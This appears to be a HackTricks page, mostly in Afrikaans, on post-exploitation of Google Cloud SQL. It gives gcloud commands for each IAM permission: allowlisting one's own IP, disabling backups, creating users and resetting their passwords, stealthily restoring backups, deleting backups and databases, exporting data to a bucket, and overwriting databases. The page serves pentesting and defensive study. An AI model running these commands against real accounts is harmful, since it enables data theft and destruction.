# GCP - Cloud SQL Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

## Cloud SQL

Vir meer inligting oor Cloud SQL, sien:

{{#ref}}
../gcp-services/gcp-cloud-sql-enum.md
{{#endref}}

### `cloudsql.instances.update`, ( `cloudsql.instances.get`)

Om aan die databasisse te koppel, het jy **net toegang tot die databasispoort** nodig en moet jy die **gebruikersnaam** en **wagwoord** ken; daar is geen IAM-vereistes nie. Dus, 'n maklike manier om toegang te kry—veronderstel die databasis het 'n publieke IP-adres—is om die toegelate netwerke by te werk en **jou eie IP-adres toe te laat om toegang daartoe te kry**.

<details>

<summary>Laat jou IP toe en koppel aan die databasis</summary>
```bash
# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet

mysql -h <ip_db> # If mysql

# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet
```
</details>

Dit is ook moontlik om **`--no-backup`** te gebruik om die **rugsteun van die databasis te ontwrig**.

Aangesien dit die vereistes is, is ek nie heeltemal seker waarvoor die permissies **`cloudsql.instances.connect`** en **`cloudsql.instances.login`** is nie. As jy dit weet, stuur asseblief 'n PR!

### `cloudsql.users.list`

Kry 'n **lys van alle gebruikers** van die databasis:

<details>

<summary>Lys databasisgebruikers</summary>
```bash
gcloud sql users list --instance <intance-name>
```
</details>

### `cloudsql.users.create`

Hierdie toestemming laat toe om **'n nuwe gebruiker binne die databasis te skep**:

<details>

<summary>Skep databasisgebruiker</summary>
```bash
gcloud sql users create <username> --instance <instance-name> --password <password>
```
</details>

### `cloudsql.users.update`

Hierdie toestemming laat toe om 'n gebruiker binne die databasis te **bywerk**. Byvoorbeeld, jy kan die gebruiker se wagwoord verander:

<details>

<summary>Wysig gebruiker se wagwoord</summary>
```bash
gcloud sql users set-password <username> --instance <instance-name> --password <password>
```
</details>

### `cloudsql.instances.restoreBackup`, `cloudsql.backupRuns.get`

Backups kan **ou sensitiewe inligting** bevat, dus is dit interessant om dit na te gaan.\
**Restore a backup** binne 'n databasis:

<details>

<summary>Herstel databasis backup</summary>
```bash
gcloud sql backups restore <backup-id> --restore-instance <instance-id>
```
</details>

Om dit op 'n meer stealth manier te doen, word dit aanbeveel om 'n nuwe SQL instance te skep en die data daar te recover in plaas van in die tans lopende databases.

### `cloudsql.backupRuns.delete`

Hierdie permission laat toe om backups te delete:

<details>

<summary>Delete backup</summary>
```bash
gcloud sql backups delete <backup-id> --instance <instance-id>
```
</details>

### `cloudsql.instances.export`, `storage.objects.create`

**Eksporteer 'n databasis** na 'n Cloud Storage Bucket sodat jy daarvandaan toegang daartoe kan kry:

<details>

<summary>Eksporteer databasis na bucket</summary>
```bash
# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>
```
</details>

### `cloudsql.instances.import`, `storage.objects.get`

**Voer 'n databasis in** (oorskryf) vanaf 'n Cloud Storage Bucket:

<details>

<summary>Voer 'n databasis in vanaf bucket</summary>
```bash
# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>
```
</details>

### `cloudsql.databases.delete`

Verwyder 'n databasis vanaf die db-instansie:

<details>

<summary>Verwyder databasis</summary>
```bash
gcloud sql databases delete <db-name> --instance <instance-id>
```
</details>

{{#include ../../../banners/hacktricks-training.md}}
